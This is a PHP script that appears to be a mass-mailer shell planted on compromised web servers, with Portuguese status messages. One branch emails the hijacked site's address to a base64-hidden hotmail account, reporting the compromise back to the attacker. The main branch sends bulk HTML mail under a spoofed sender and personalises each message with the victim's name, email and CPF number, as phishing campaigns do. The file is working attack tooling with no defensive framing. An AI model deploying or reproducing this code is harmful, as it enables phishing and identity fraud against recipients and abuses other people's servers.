if(isset($_GET['testa'])){
$email = base64_decode('ZGVmdHZpcEBob3RtYWlsLmNvbQ==');
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = rawurldecode($web.$inj);
$envio = mail("$email","[v] http://$target","http://$target");
if($envio) { echo '[+] FOI
'; }
else { echo '[-] N?
'; }
}
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
//$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$host = "".$_SERVER["HTTP_HOST"]." ";
$email = explode("\n", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$aux = explode(';',$email[$i]);
$dataHora = date("d/m/Y h:i:s");
$boundary = rand(0,999999999999);
$codig = " - ( $boundary\n )";
$EmailTemporario = $aux[0];
$message = stripslashes($message);
$rnd = rand(10000000, 99999999);
$msgy = str_replace("%email%", $EmailTemporario, $message);
$msgx = str_replace("%rand%", $rnd, $msgy);
$msgz = str_replace("%nome%", $aux[1], $msgx);
$msga = str_replace("%cpf%", $aux[2], $msgz);
$msgb = str_replace("%nome%", $aux[1], $subject);
$de = str_replace("%rand%", $rnd, $de);
$headers = "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: ".$nome." <".$de.">\r\n";
if(mail($EmailTemporario, $msgb.$codig, $msga.$dataHora, $headers))
echo '( $count ) ENVIADO '.($i+1).' '.$email[$i].'
';
else
echo '( $count ) FALHOU '.($i+1).' '.$email[$i].'
';
$i++;
$count++;
}
$count--;
echo "[Fim do Envio]";
if($ok == "ok")
echo "[Fim do Envio]";
}
?>
Submit-Plus